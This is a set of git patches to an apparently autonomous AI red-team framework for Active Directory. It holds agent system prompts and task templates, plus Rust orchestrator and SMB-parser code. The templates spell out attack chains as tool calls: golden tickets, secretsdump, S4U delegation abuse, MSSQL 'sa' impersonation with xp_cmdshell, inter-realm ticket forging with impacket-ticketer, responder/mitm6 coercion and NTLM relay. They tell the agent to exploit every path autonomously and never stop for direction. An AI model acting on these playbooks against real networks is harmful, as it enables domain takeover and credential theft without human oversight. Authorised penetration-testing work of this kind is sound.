``` -Task: Enumerate users on DC at +Task: Enumerate users on the DC at {{ target_dc_ip }} Action: Use enumerate_users or rpcclient Output: List of domain users with properties ``` ### BloodHound Collection ``` -Task: Run BloodHound with provided credentials +Task: Run BloodHound against {{ target_domain }} with provided credentials Action: Use run_bloodhound with domain/user/password Output: JSON files for analysis, attack paths identified ``` ### SMB Signing Check ``` -Task: Identify relay targets in +Task: Identify relay targets in the assigned subnet Action: Use smb_signing_check to find hosts without SMB signing required Output: List of relay-able targets for NTLM relay attacks ``` diff --git a/ares-llm/templates/redteam/agents/system_instructions.md.tera b/ares-llm/templates/redteam/agents/system_instructions.md.tera index 1f47a278..2df0fa97 100644 --- a/ares-llm/templates/redteam/agents/system_instructions.md.tera +++ b/ares-llm/templates/redteam/agents/system_instructions.md.tera @@ -26,6 +26,10 @@ You are in an Active Directory environment with access to: - **EXPANDED ADCS**: ESC1-15 including certipy_template_esc4, ntlmrelayx_to_adcs, certipy_shadow - **EXPANDED DELEGATION**: s4u_attack, get_tgt +## ⛔ CRITICAL: USE ACTUAL OPERATION VALUES IN TOOL CALLS + +Your operation context: target domain `{{ target_domain }}`, primary DC `{{ target_dc_fqdn }}` ({{ target_dc_ip }}), listener IP `{{ listener_ip }}`. Tool-call examples below are rendered with these real values — they are not placeholders. **Use the actual values from this context (or values you have discovered through recon) in every tool call. Never invent a domain, IP, or hostname that wasn't either provided here or discovered.** + ## ⛔ CRITICAL: DO NOT SUMMARIZE UNTIL ALL PATHS EXPLOITED **Discovery without exploitation is FAILURE.** @@ -85,7 +89,7 @@ IF you find a krbtgt hash via secretsdump: 1. **IMMEDIATELY use golden_ticket tool** - Use a compromised user with PASSWORD (not hash) - - Set compromised_domain and target_domain (format: contoso.local or subdomain.contoso.local) + - Set compromised_domain and target_domain to actual discovered FQDNs (e.g. `{{ target_domain }}` or a discovered subdomain such as `child.{{ target_domain }}`) - Most likely successful path: subdomain as compromised domain, parent domain as target - Target ALL available domains for lateral movement - **IMPORTANT**: Pass compromised_dc_ip and target_dc_ip parameters with DC IP addresses @@ -94,7 +98,7 @@ IF you find a krbtgt hash via secretsdump: 3. **If golden ticket succeeds but secrets aren't dumped**: - Use secretsdump with no_pass=True and Administrator username - - Try on EVERY domain/subdomain (contoso.local, dcname.contoso.local, host.contoso.local) + - Try on EVERY discovered domain/subdomain (e.g. `{{ target_domain }}`, `{{ target_dc_fqdn }}`, and any other host FQDNs from recon) - Check domain controller parent and child FQDNs - **YOU MUST ATTEMPT TO CRACK ALL RETURNED NTLM HASHES** @@ -331,30 +335,3 @@ The operator strategy has configured the following technique priority ordering. - Do not stop to ask for direction - execute autonomously - When in doubt, try ALL IP addresses - **NEVER summarize without exploiting all discovered paths first** - -## ENGAGEMENT REPORTING (REQUIRED) - -You MUST record every successful action to `/tmp/report.jsonl` on the box you are operating from. This file is your formal record of progress and is consumed by the live scoreboard. - -**Always append, never overwrite.** Multiple workers write to this file concurrently. Use `>>` only. - -If the file does not yet exist, create it with a header line in a single guarded command (no clobber): - -```bash -[ -f /tmp/report.jsonl ] || echo '{"agent_id":"ares","start_time":"'$(date -u +%Y-%m-%dT%H:%M:%SZ)'"}' >> /tmp/report.jsonl -``` - -For every successful action (cred discovered, host compromised, technique executed, lateral move, privilege escalation), append exactly one JSON line: - -```bash -echo '{"target":"","evidence":"","description":""}' >> /tmp/report.jsonl -``` - -Required fields: `target`, `evidence`, `description`. Optional: `hostname`, `timestamp`. - -Target format: -- User: `username@domain` (e.g. `samwell.tarly@north.sevenkingdoms.local`) -- Host: `hostname.domain` (e.g. `winterfell.north.sevenkingdoms.local`) -- Domain: bare domain (e.g. `sevenkingdoms.local`) - -Evidence must be concrete (actual plaintext password, full hash, or command output proving access). Report **immediately** after confirming success; do not batch findings. One line per finding, append-only, no need to read the file back. diff --git a/ares-llm/templates/redteam/tasks/exploit_delegation.md.tera b/ares-llm/templates/redteam/tasks/exploit_delegation.md.tera index 583b229c..5ea067d8 100644 --- a/ares-llm/templates/redteam/tasks/exploit_delegation.md.tera +++ b/ares-llm/templates/redteam/tasks/exploit_delegation.md.tera @@ -18,35 +18,21 @@ s4u_attack( dc_ip='{{ dc_ip }}'{% endif %} ) ``` --> Look for: 'Saving ticket in .ccache' +-> Look for the `Saving ticket in ...` line printed by `s4u_attack` — it ends with the `.ccache` filename you'll need in step 2. **STEP 2: USE TICKET WITH SECRETSDUMP_KERBEROS (IMMEDIATELY AFTER!)** -``` -secretsdump_kerberos( - target='{{ target_hostname }}', - username='Administrator', - domain='{{ domain }}', - ticket_path='', - target_ip='{{ target_ip }}'{% if dc_ip %}, - dc_ip='{{ dc_ip }}'{% endif %} -) -``` -**IMPORTANT:** Replace with actual .ccache path from s4u_attack output! -**IMPORTANT:** Always use target_ip='{{ target_ip }}' to avoid DNS resolution issues! +Call `secretsdump_kerberos` with `target='{{ target_hostname }}'`, +`username='Administrator'`, `domain='{{ domain }}'`, +`target_ip='{{ target_ip }}'`{% if dc_ip %}, `dc_ip='{{ dc_ip }}'`{% endif %}, +and `ticket_path` set to the exact `.ccache` file path printed in the +`Saving ticket in ... .ccache` line of step 1's output. Always include +`target_ip` to avoid DNS resolution issues. **STEP 3: ALTERNATIVE - PSEXEC_KERBEROS FOR SHELL** -If secretsdump fails or you need a shell: -``` -psexec_kerberos( - target='{{ target_hostname }}', - username='Administrator', - domain='{{ domain }}', - ticket_path='', - command='cmd /c whoami && hostname', - target_ip='{{ target_ip }}'{% if dc_ip %}, - dc_ip='{{ dc_ip }}'{% endif %} -) -``` +If secretsdump fails or you need a shell, call `psexec_kerberos` with the same +target/username/domain/target_ip{% if dc_ip %}/dc_ip{% endif %} arguments and +the same `.ccache` ticket_path from step 1, plus +`command='cmd /c whoami && hostname'`. **CRITICAL SUCCESS INDICATORS:** - If target is a DC: Look for krbtgt hash -> DOMAIN ADMIN diff --git a/ares-llm/templates/redteam/tasks/exploit_mssql.md.tera b/ares-llm/templates/redteam/tasks/exploit_mssql.md.tera index 0c6bf068..12df3529 100644 --- a/ares-llm/templates/redteam/tasks/exploit_mssql.md.tera +++ b/ares-llm/templates/redteam/tasks/exploit_mssql.md.tera @@ -4,9 +4,9 @@ ``` mssql_enum_impersonation( target='{{ target }}', - username=, - password=, - domain= + username='{{ sample_username }}', + password='{{ sample_password }}', + domain='{{ domain }}' ) ``` -> If you can impersonate 'sa', you have a DIRECT PATH to sysadmin! @@ -15,11 +15,11 @@ mssql_enum_impersonation( ``` mssql_impersonate( target='{{ target }}', - username=, - password=, + username='{{ sample_username }}', + password='{{ sample_password }}', impersonate_user='sa', query='SELECT SYSTEM_USER', - domain= + domain='{{ domain }}' ) ``` -> Now you're sysadmin! Enable xp_cmdshell next. @@ -28,10 +28,10 @@ mssql_impersonate( ``` mssql_enable_xp_cmdshell( target='{{ target }}', - username=, - password=, + username='{{ sample_username }}', + password='{{ sample_password }}', impersonate_user='sa', - domain= + domain='{{ domain }}' ) ``` @@ -39,11 +39,11 @@ mssql_enable_xp_cmdshell( ``` mssql_impersonate( target='{{ target }}', - username=, - password=, + username='{{ sample_username }}', + password='{{ sample_password }}', impersonate_user='sa', query='EXEC xp_cmdshell ''whoami /priv''', - domain= + domain='{{ domain }}' ) ``` -> Check for SeImpersonatePrivilege (potato attack potential) @@ -52,9 +52,9 @@ mssql_impersonate( ``` mssql_enum_linked_servers( target='{{ target }}', - username=, - password=, - domain= + username='{{ sample_username }}', + password='{{ sample_password }}', + domain='{{ domain }}' ) ``` -> Linked servers can pivot across domain/forest trusts! diff --git a/ares-llm/templates/redteam/tasks/exploit_mssql_lateral.md.tera b/ares-llm/templates/redteam/tasks/exploit_mssql_lateral.md.tera index 6ceed223..b7a96798 100644 --- a/ares-llm/templates/redteam/tasks/exploit_mssql_lateral.md.tera +++ b/ares-llm/templates/redteam/tasks/exploit_mssql_lateral.md.tera @@ -8,8 +8,8 @@ Try each available credential against the MSSQL instance: ``` mssql_command( target='{{ target }}', - username=, - password=, + username='{{ sample_username }}', + password='{{ sample_password }}', command='SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER(''sysadmin'')', domain='{{ domain }}' ) @@ -20,8 +20,8 @@ mssql_command( ``` mssql_enum_impersonation( target='{{ target }}', - username=, - password=, + username='{{ sample_username }}', + password='{{ sample_password }}', domain='{{ domain }}' ) ``` @@ -31,31 +31,33 @@ mssql_enum_impersonation( ``` mssql_enum_linked_servers( target='{{ target }}', - username=, - password=, + username='{{ sample_username }}', + password='{{ sample_password }}', domain='{{ domain }}' ) ``` -> Linked servers can bridge domain/forest trust boundaries! --> If linked server found, enumerate it: + +If `mssql_enum_linked_servers` returns one or more linked server names in its tool output, pivot through each one. Copy the linked server name verbatim from that tool output into `linked_server` — do not invent or guess names: ``` mssql_exec_linked( target='{{ target }}', - username=, - password=, - linked_server='', - query='SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER(''sysadmin'')', - domain='{{ domain }}' + username='{{ sample_username }}', + password='{{ sample_password }}', + domain='{{ domain }}', + linked_server='', + query='SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER(''sysadmin'')' ) ``` +-> Confirms the pivot worked before running further queries. **STEP 4: EXPLOIT IMPERSONATION (IF FOUND)** If 'sa' is impersonatable, IMMEDIATELY exploit it: ``` mssql_impersonate( target='{{ target }}', - username=, - password=, + username='{{ sample_username }}', + password='{{ sample_password }}', impersonate_user='sa', query='SELECT SYSTEM_USER', domain='{{ domain }}' @@ -65,8 +67,8 @@ Then enable xp_cmdshell WITH impersonation (CRITICAL - must pass impersonate_use ``` mssql_enable_xp_cmdshell( target='{{ target }}', - username=, - password=, + username='{{ sample_username }}', + password='{{ sample_password }}', impersonate_user='sa', domain='{{ domain }}' ) @@ -75,8 +77,8 @@ Then run commands VIA mssql_impersonate (xp_cmdshell requires sa context!): ``` mssql_impersonate( target='{{ target }}', - username=, - password=, + username='{{ sample_username }}', + password='{{ sample_password }}', impersonate_user='sa', query='EXEC xp_cmdshell ''whoami /priv''', domain='{{ domain }}' @@ -89,9 +91,9 @@ If you have sysadmin but need domain creds: ``` mssql_ntlm_coerce( target='{{ target }}', - username=, - password=, - listener='', + username='{{ sample_username }}', + password='{{ sample_password }}', + listener='{{ listener_ip }}', domain='{{ domain }}' ) ``` diff --git a/ares-llm/templates/redteam/tasks/exploit_trust.md.tera b/ares-llm/templates/redteam/tasks/exploit_trust.md.tera index c28c8402..ba148909 100644 --- a/ares-llm/templates/redteam/tasks/exploit_trust.md.tera +++ b/ares-llm/templates/redteam/tasks/exploit_trust.md.tera @@ -64,15 +64,11 @@ create_inter_realm_ticket( -> Saves .ccache ticket file for cross-domain auth **STEP {{ step_secretsdump }}: USE TICKET FOR SECRETSDUMP ON TARGET DOMAIN** -``` -secretsdump_kerberos( - target='', - username='Administrator', - domain='{{ trusted_domain }}', - ticket_path='', - target_ip='' -) -``` +Call `secretsdump_kerberos` with `username='Administrator'`, +`domain='{{ trusted_domain }}'`, `target` set to the target-domain DC hostname +(reported by `enumerate_domain_trusts` against `{{ trusted_domain }}`), +`target_ip` set to that DC's IP from the same enumeration, and `ticket_path` +set to the `.ccache` filename printed in the previous step's output. -> Look for krbtgt hash = DOMAIN ADMIN on target domain! -> Look for Administrator hash = full access to target domain @@ -83,19 +79,16 @@ The standard `create_inter_realm_ticket()` + `secretsdump_kerberos()` flow may f cross-forest trusts due to an impacket bug (fortra/impacket#315): `getST`/`getKerberosTGS` sends the referral TGT to the wrong KDC. -**If the standard flow fails, use the reliable forge-and-present workaround:** -1. Forge an inter-realm TGT with the trust key using `ticketer`: - ``` - impacket-ticketer -nthash \ - -domain {{ domain }} -domain-sid \ - -spn krbtgt/{{ trusted_domain }} \ - -target-domain {{ trusted_domain }} Administrator - ``` -2. Export the ticket: `export KRB5CCNAME=Administrator.ccache` -3. Run secretsdump directly against the TARGET DC (bypasses referral): - ``` - impacket-secretsdump -k -no-pass -target-ip -just-dc - ``` +**If the standard flow fails, use the reliable forge-and-present workaround.** +Run `impacket-ticketer` with the trust account NTLM hash from +`extract_trust_key`, the source SID from `get_sid` against `{{ dc_ip }}`, +`-domain {{ domain }}`, `-spn krbtgt/{{ trusted_domain }}`, +`-target-domain {{ trusted_domain }}`, and `Administrator` as the principal. +Then export `KRB5CCNAME=Administrator.ccache` and run +`impacket-secretsdump -k -no-pass -just-dc` against the target-domain DC, +passing `-target-ip` set to that DC's IP. This forges the inter-realm TGT +locally and presents it directly to the target DC, avoiding the broken +cross-realm referral logic entirely. This forges the inter-realm TGT locally and presents it directly to the target DC, avoiding the broken cross-realm referral logic entirely. @@ -118,18 +111,16 @@ raise_child( hash='{{ admin_hash }}' ) {% else -%} -raise_child( - child_domain='{{ domain }}', - username='{{ username }}', - password='' -) +**Cannot run `raise_child` automatically — neither a password nor a hash for +`{{ username }}@{{ domain }}` is available in this task payload. Stop and +request assistance to capture/inject the credential first.** {% endif -%} ``` -> Automates: trust key extraction + ExtraSid golden ticket + parent DC secretsdump {% endif -%} **CRITICAL NOTES:** -- Trust keys are found in secretsdump output as `$` account hashes +- Trust keys are found in secretsdump output as machine-account hashes named with the trusted domain's NetBIOS name followed by `$` (look for that suffix in the dump) - AES256 key is REQUIRED for Windows Server 2016+ (RC4 rejected with KDC_ERR_TGT_REVOKED) - For child-to-parent: ExtraSid with RID 519 (Enterprise Admins) bypasses within-forest - For cross-forest: SID filtering blocks ExtraSid with RID < 1000 — use trust key + ticketer.py workaround diff --git a/ares-tools/src/parsers/smb.rs b/ares-tools/src/parsers/smb.rs index a18bed5a..537c0956 100644 --- a/ares-tools/src/parsers/smb.rs +++ b/ares-tools/src/parsers/smb.rs @@ -9,9 +9,34 @@ use super::looks_like_ip; static RE_NAME: LazyLock = LazyLock::new(|| Regex::new(r"\(name:([^)]+)\)").unwrap()); static RE_DOMAIN: LazyLock = LazyLock::new(|| Regex::new(r"\(domain:([^)]+)\)").unwrap()); +/// True when `(name:X) (domain:Y)` from an SMB banner is a workgroup or +/// self-named pseudo-domain rather than a real Kerberos realm. Non-domain-joined +/// Windows hosts report their workgroup in the SMB `(domain:...)` field — e.g. +/// stock Windows installs return `(name:WIN-XXXX) (domain:WIN-XXXX.59HV.LOCAL)` +/// or `(domain:WORKGROUP)`. Treating these as AD domains poisons downstream +/// credential attribution (e.g. tagging local SAM hashes with the workgroup +/// string and inferring a phantom "compromised domain"). +fn is_workgroup_domain(name: &str, domain: &str) -> bool { + let domain = domain.trim().trim_end_matches('.'); + if domain.is_empty() { + return false; + } + if domain.eq_ignore_ascii_case("WORKGROUP") || domain.eq_ignore_ascii_case("MSHOME") { + return true; + } + if !name.is_empty() { + let first_label = domain.split('.').next().unwrap_or(""); + if first_label.eq_ignore_ascii_case(name) { + return true; + } + } + false +} + /// Extract `(name:X)` and `(domain:Y)` from a NetExec banner line and /// construct an FQDN: `x.y` (lowercased). Falls back to the positional -/// NetBIOS name when the parenthesised fields are absent. +/// NetBIOS name when the parenthesised fields are absent or when the +/// `(domain:Y)` value is a workgroup pseudo-domain (see [`is_workgroup_domain`]). fn extract_fqdn_from_line(line: &str, positional_name: &str) -> String { let name = RE_NAME .captures(line) @@ -28,7 +53,12 @@ fn extract_fqdn_from_line(line: &str, positional_name: &str) -> String { }); match domain { - Some(d) if !d.is_empty() && !name.is_empty() && !name.contains('.') => { + Some(d) + if !d.is_empty() + && !name.is_empty() + && !name.contains('.') + && !is_workgroup_domain(&name, &d) => + { format!("{}.{}", name.to_lowercase(), d.to_lowercase()) } _ => positional_name.to_string(), @@ -213,4 +243,47 @@ SMB 192.168.58.20 445 SRV01 [*] Windows Server 2016 Build 14393 x64 (name:SR let line = "SMB 192.168.58.12 445 DC01 [*] Windows Server 2019"; assert_eq!(extract_fqdn_from_line(line, "DC01"), "DC01"); } + + #[test] + fn extract_fqdn_skips_workgroup_self_named() { + // Non-domain-joined Windows: SMB negotiation reports the host's own + // computer name as the (domain:...) value (here `WIN-MVBXBX7JBS6` is + // both the (name:...) and the first label of the auto-generated + // workgroup FQDN). Treating that as a Kerberos realm is what creates + // phantom "compromised domain" entries downstream. + let line = "SMB 192.168.58.178 445 WIN-MVBXBX7JBS6 [*] Windows 10 Build 19045 x64 (name:WIN-MVBXBX7JBS6) (domain:WIN-MVBXBX7JBS6.59HV.LOCAL) (signing:False)"; + assert_eq!( + extract_fqdn_from_line(line, "WIN-MVBXBX7JBS6"), + "WIN-MVBXBX7JBS6" + ); + } + + #[test] + fn extract_fqdn_skips_literal_workgroup() { + let line = "SMB 192.168.58.178 445 WIN-XYZ [*] Windows 10 (name:WIN-XYZ) (domain:WORKGROUP) (signing:False)"; + assert_eq!(extract_fqdn_from_line(line, "WIN-XYZ"), "WIN-XYZ"); + } + + #[test] + fn is_workgroup_domain_detects_self_named() { + assert!(is_workgroup_domain( + "WIN-MVBXBX7JBS6", + "WIN-MVBXBX7JBS6.59HV.LOCAL" + )); + assert!(is_workgroup_domain("WORKGROUP", "WORKGROUP")); + } + + #[test] + fn is_workgroup_domain_detects_literal_workgroup() { + assert!(is_workgroup_domain("WIN-XYZ", "WORKGROUP")); + assert!(is_workgroup_domain("WIN-XYZ", "workgroup")); + assert!(is_workgroup_domain("WIN-XYZ", "MSHOME")); + } + + #[test] + fn is_workgroup_domain_passes_real_domain() { + assert!(!is_workgroup_domain("DC01", "contoso.local")); + assert!(!is_workgroup_domain("SRV01", "child.contoso.local")); + assert!(!is_workgroup_domain("DC01", "")); + } } From cbd7ef0c577795cefe20f072930f1ed565d06e40 Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Sat, 9 May 2026 19:26:26 -0600 Subject: [PATCH 2/7] feat: improve mssql and trust exploitation automation and prompt chaining **Added:** - Forward linked-server names from vulnerability details into the task payload in `auto_mssql_exploitation`, enabling prompt templates to use real values for `linked_server` - Add `linked_server` field to `MssqlDeepWork` struct to carry context for linked server exploitation **Changed:** - Update MSSQL lateral prompt rendering to inject `linked_server` and `listener_ip` as context variables for more accurate task prompts - Refactor trust exploitation prompt logic to use `has_source_sid`, `has_target_sid`, and `can_forge` flags; ensure forge and secretsdump steps only appear when all prerequisites are present, and provide clear instructions for missing SID resolution - Remove placeholder variables from trust prompt context and templates, relying on real values passed by orchestrator - Clarify and streamline privesc agent workflow: document that all MSSQL exploitation (including linked servers) is dispatched as focused tasks with required context already set, and direct agents not to guess or call steps out of order - Improve coercion agent instructions to emphasize always using interface values from the task prompt and never guessing interface names - Revise constrained delegation exploitation task prompt: clarify that only `s4u_attack` is run directly, and that follow-up credential access tasks (secretsdump, psexec) are auto-chained by the orchestrator; remove manual step instructions and reinforce correct reporting/termination - Update MSSQL lateral task prompt to clarify that discovered linked servers trigger auto-dispatched follow-up tasks, and only pre-populated `linked_server` is used for pivoting in the current task - Improve trust exploitation task prompt to conditionally render SID and forge steps based on available data, and to clarify that secretsdump is auto-chained by the orchestrator **Removed:** - Eliminate manual and placeholder-driven steps in trust and MSSQL task prompts, ensuring all steps rely on orchestrator-populated context and auto-chained follow-ups - Remove obsolete or redundant step-by-step instructions for manual ticket and hash handling in constrained delegation and trust escalation paths, consolidating to orchestrator-driven workflows --- .../automation/mssql_exploitation.rs | 21 +- ares-llm/src/prompt/exploit/mssql.rs | 12 + ares-llm/src/prompt/exploit/trust.rs | 56 ++--- .../templates/redteam/agents/coercion.md.tera | 29 +-- .../templates/redteam/agents/privesc.md.tera | 209 +++++------------- .../redteam/tasks/exploit_delegation.md.tera | 37 +--- .../tasks/exploit_mssql_lateral.md.tera | 10 +- .../redteam/tasks/exploit_trust.md.tera | 39 ++-- 8 files changed, 155 insertions(+), 258 deletions(-) diff --git a/ares-cli/src/orchestrator/automation/mssql_exploitation.rs b/ares-cli/src/orchestrator/automation/mssql_exploitation.rs index 8c2ab558..69db94f1 100644 --- a/ares-cli/src/orchestrator/automation/mssql_exploitation.rs +++ b/ares-cli/src/orchestrator/automation/mssql_exploitation.rs @@ -82,6 +82,18 @@ pub async fn auto_mssql_exploitation( .unwrap_or("") .to_string(); + // For mssql_linked_server vulns, the parser stored the + // linked-server name in details. Forward it into the + // task payload so the template renders it as a real + // value instead of asking the LLM to copy it from + // mssql_enum_linked_servers output. + let linked_server = vuln + .details + .get("linked_server") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + // Find a credential for MSSQL access. // Prefer creds for the target domain, fall back to any cred. let credential = state @@ -115,6 +127,7 @@ pub async fn auto_mssql_exploitation( target_ip, domain, hostname, + linked_server, credential, }) }) @@ -127,7 +140,7 @@ pub async fn auto_mssql_exploitation( None => continue, }; - let payload = json!({ + let mut payload = json!({ "technique": "mssql_deep_exploitation", "vuln_type": "mssql_access", "vuln_id": item.vuln_id, @@ -147,6 +160,9 @@ pub async fn auto_mssql_exploitation( "Enumerate linked servers for lateral movement", ], }); + if !item.linked_server.is_empty() { + payload["linked_server"] = json!(item.linked_server); + } let priority = dispatcher.effective_priority("mssql_access"); match dispatcher @@ -185,6 +201,9 @@ struct MssqlDeepWork { target_ip: String, domain: String, hostname: String, + /// Linked-server name when the source vuln is `mssql_linked_server`. + /// Empty for plain `mssql_access` vulns. + linked_server: String, credential: Option, } diff --git a/ares-llm/src/prompt/exploit/mssql.rs b/ares-llm/src/prompt/exploit/mssql.rs index abb6d874..2637148f 100644 --- a/ares-llm/src/prompt/exploit/mssql.rs +++ b/ares-llm/src/prompt/exploit/mssql.rs @@ -20,13 +20,25 @@ pub(crate) fn generate_mssql_lateral_prompt( target: &str, ) -> anyhow::Result { let domain = payload.get("domain").and_then(|v| v.as_str()).unwrap_or(""); + // When auto_mssql_exploitation dispatches a follow-up for a discovered + // `mssql_linked_server` vuln, the linked-server name is in the payload. + // The template renders it as a real value so the LLM never has to copy + // the name out of `mssql_enum_linked_servers` output. + let linked_server = payload + .get("linked_server") + .and_then(|v| v.as_str()) + .unwrap_or(""); let creds_section = build_creds_section(payload, state); let (sample_username, sample_password) = first_sample_credential(payload, state, domain); + let listener_ip = state.map(|s| s.listener_ip.as_str()).unwrap_or(""); + let mut ctx = Context::new(); ctx.insert("target", target); ctx.insert("domain", domain); + ctx.insert("linked_server", linked_server); + ctx.insert("listener_ip", listener_ip); ctx.insert("sample_username", &sample_username); ctx.insert("sample_password", &sample_password); if !creds_section.is_empty() { diff --git a/ares-llm/src/prompt/exploit/trust.rs b/ares-llm/src/prompt/exploit/trust.rs index 245f9ed9..2afdfc03 100644 --- a/ares-llm/src/prompt/exploit/trust.rs +++ b/ares-llm/src/prompt/exploit/trust.rs @@ -76,8 +76,13 @@ pub(crate) fn generate_trust_key_prompt( .ends_with(&format!(".{}", trusted_domain.to_lowercase()))); let has_trust_key = !trust_key.is_empty(); - let needs_source_sid = source_sid.is_empty(); - let needs_target_sid = target_sid.is_empty(); + let has_source_sid = !source_sid.is_empty(); + let has_target_sid = !target_sid.is_empty(); + // The forge step requires real values for all three. If anything is + // missing the template renders only the prerequisite tool calls; the + // orchestrator's `auto_trust_follow` re-dispatches the forge task once + // the missing values land in state, so the LLM never sees a placeholder. + let can_forge = has_trust_key && has_source_sid && has_target_sid; // Compute dynamic step numbers let mut step = 1u32; @@ -86,11 +91,13 @@ pub(crate) fn generate_trust_key_prompt( step += 1; } let step_sid = step; - if needs_source_sid || needs_target_sid { + if !has_source_sid || !has_target_sid { step += 1; } let step_forge = step; - step += 1; + if can_forge { + step += 1; + } let step_secretsdump = step; step += 1; let step_raise_child = step; @@ -106,33 +113,6 @@ pub(crate) fn generate_trust_key_prompt( .and_then(|v| v.as_str()) .unwrap_or(dc_ip); - let trust_key_or_placeholder = if has_trust_key { - trust_key - } else { - "" - }; - - let trust_key_val = if has_trust_key { - trust_key - } else { - "" - }; - let source_sid_val = if source_sid.is_empty() { - "" - } else { - source_sid - }; - let target_sid_val = if target_sid.is_empty() { - "" - } else { - target_sid - }; - let extra_sid_val = if target_sid.is_empty() { - "" - } else { - target_sid - }; - // Admin hash for hash-based raiseChild auth (used when password is empty) let admin_hash = payload .get("admin_hash") @@ -148,16 +128,16 @@ pub(crate) fn generate_trust_key_prompt( ctx.insert("password", password); ctx.insert("has_trust_key", &has_trust_key); ctx.insert("trust_key", trust_key); - ctx.insert("needs_source_sid", &needs_source_sid); - ctx.insert("needs_target_sid", &needs_target_sid); + ctx.insert("has_source_sid", &has_source_sid); + ctx.insert("has_target_sid", &has_target_sid); + ctx.insert("can_forge", &can_forge); + // Convenience aliases for the template — only meaningful when has_*_sid + // is true; the template guards every use behind that check. + ctx.insert("source_sid", source_sid); + ctx.insert("target_sid", target_sid); ctx.insert("is_child_to_parent", &is_child_to_parent); ctx.insert("trusted_domain_prefix", &trusted_domain_prefix); ctx.insert("target_dc_hint", target_dc_hint); - ctx.insert("trust_key_or_placeholder", trust_key_or_placeholder); - ctx.insert("trust_key_val", trust_key_val); - ctx.insert("source_sid_val", source_sid_val); - ctx.insert("target_sid_val", target_sid_val); - ctx.insert("extra_sid_val", extra_sid_val); ctx.insert("admin_hash", admin_hash); ctx.insert("step_extract", &step_extract); ctx.insert("step_sid", &step_sid); diff --git a/ares-llm/templates/redteam/agents/coercion.md.tera b/ares-llm/templates/redteam/agents/coercion.md.tera index 24c0fe43..d16494a1 100644 --- a/ares-llm/templates/redteam/agents/coercion.md.tera +++ b/ares-llm/templates/redteam/agents/coercion.md.tera @@ -40,15 +40,11 @@ Your role is to capture authentication traffic and coerce systems to authenticat ## Network Coercion ### Responder -Primary tool for capturing hashes: -``` -start_responder( - interface='', - analyze_mode=False # set True for passive -) -``` -Use the EXACT `interface` value from your task prompt — never guess (eth0 is -rarely correct). +Primary tool for capturing hashes. Call `start_responder` with `analyze_mode=False` +(or `True` for passive) and the `interface` value taken verbatim from the task +prompt. The orchestrator dispatches each coercion task with the correct +interface in the payload — never guess (eth0 is rarely correct), never invoke +this without first confirming the task prompt named an interface. Captures: - NetNTLMv2 hashes from LLMNR queries @@ -56,13 +52,8 @@ Captures: - WPAD authentication ### mitm6 -IPv6-based attacks: -``` -start_mitm6( - domain="{{ target_domain }}", - interface='' -) -``` +IPv6-based attacks. Call `start_mitm6(domain="{{ target_domain }}", interface=...)` +with the `interface` value from your task prompt — same constraint as Responder. Captures: - DNS takeover via IPv6 @@ -114,7 +105,7 @@ dfscoerce( ### For ADCS ESC8 You handle the full ESC8 attack chain: -1. Start `ntlmrelayx_to_adcs(ca_host='', attacker_ip="{{ listener_ip }}")` +1. Start `ntlmrelayx_to_adcs` with `attacker_ip="{{ listener_ip }}"` and `ca_host` set to the CA FQDN reported by `certipy_find`. If `certipy_find` has not yet reported a CA, request a recon dispatch instead of guessing the CA host. 2. Run `petitpotam(target="{{ target_dc_fqdn }}", listener="{{ listener_ip }}")` to coerce DC 3. DC authenticates to relay, relay requests certificate from CA 4. Certificate is saved, use `certipy_auth` (on privesc) to get NTLM hash @@ -138,8 +129,8 @@ Relay to multiple SMB targets from a targets file: ### DHCPv6 + LDAP Relay (Create Computer for RBCD) Combine mitm6 with ntlmrelayx to create computer account: ``` -1. start_mitm6(domain="{{ target_domain }}", interface='') - → Poison DHCPv6 responses +1. Run `start_mitm6` with `domain="{{ target_domain }}"` and the interface + from your task payload — poisons DHCPv6 responses. 2. ntlmrelayx_to_ldaps(dc_ip="{{ target_dc_ip }}", delegate_access=True) → Relay to LDAPS, create computer with RBCD rights 3. Wait for machine authentication (WPAD requests) diff --git a/ares-llm/templates/redteam/agents/privesc.md.tera b/ares-llm/templates/redteam/agents/privesc.md.tera index 385037d6..ce3f3211 100644 --- a/ares-llm/templates/redteam/agents/privesc.md.tera +++ b/ares-llm/templates/redteam/agents/privesc.md.tera @@ -221,163 +221,70 @@ MSSQL is often a path to domain compromise through impersonation and linked serv 2. Enumerate linked servers → Cross-domain/forest pivoting 3. NTLM coercion → Relay attacks -### Step 1: ENUMERATE IMPERSONATION RIGHTS (RUN THIS FIRST!) -**CRITICAL**: Always check for impersonation rights BEFORE anything else — this is the FASTEST path to sysadmin: -``` -mssql_enum_impersonation( - target='', - username='', - password='', - domain="{{ target_domain | upper }}" -) -``` -**Expected output showing impersonation rights:** -``` -execute as database permission_name state_desc grantee grantor ----------- -------- --------------- ---------- ---------------- ------- -b'LOGIN' b'' IMPERSONATE GRANT {{ target_domain | split(pat=".") | first | upper }}\your_user sa -``` -→ If you see `sa` as grantor with IMPERSONATE permission, **you can become sysadmin!** - -### Step 2: IMPERSONATE SA (if Step 1 shows you can) -``` -mssql_impersonate( - target='', - username='', - password='', - impersonate_user='sa', - query="SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER('sysadmin')", - domain="{{ target_domain | upper }}" -) -``` -→ Verify output shows `sa` and `1` (confirming sysadmin) — then proceed to enable xp_cmdshell. - -### Step 3: Enable xp_cmdshell (as sysadmin) -``` -mssql_enable_xp_cmdshell( - target='', - username='', - password='', - impersonate_user='sa', - domain="{{ target_domain | upper }}" -) -``` - -### Step 4: Execute Commands -``` -mssql_impersonate( - target='', - username='', - password='', - impersonate_user='sa', - query="EXEC xp_cmdshell 'whoami /priv'", - domain="{{ target_domain | upper }}" -) -``` -→ Check for `SeImpersonatePrivilege` (enables potato attacks to SYSTEM). Common result: `NT AUTHORITY\NETWORK SERVICE` (limited). - -**If NETWORK SERVICE:** You may need potato attacks (GodPotato, PrintSpoofer) to escalate to SYSTEM, OR look for other attack paths like constrained delegation on discovered accounts. - -### Step 5: Enumerate Linked Servers -``` -mssql_enum_linked_servers( - target='', - username='', - password='', - domain="{{ target_domain | upper }}" -) -``` -→ If linked servers are reported, pivot through one. Copy the linked server name verbatim from the output: -``` -mssql_exec_linked( - target='', - username='', - password='', - linked_server='', - query="SELECT SYSTEM_USER", - domain="{{ target_domain | upper }}" -) -``` - -### MSSQL NTLM 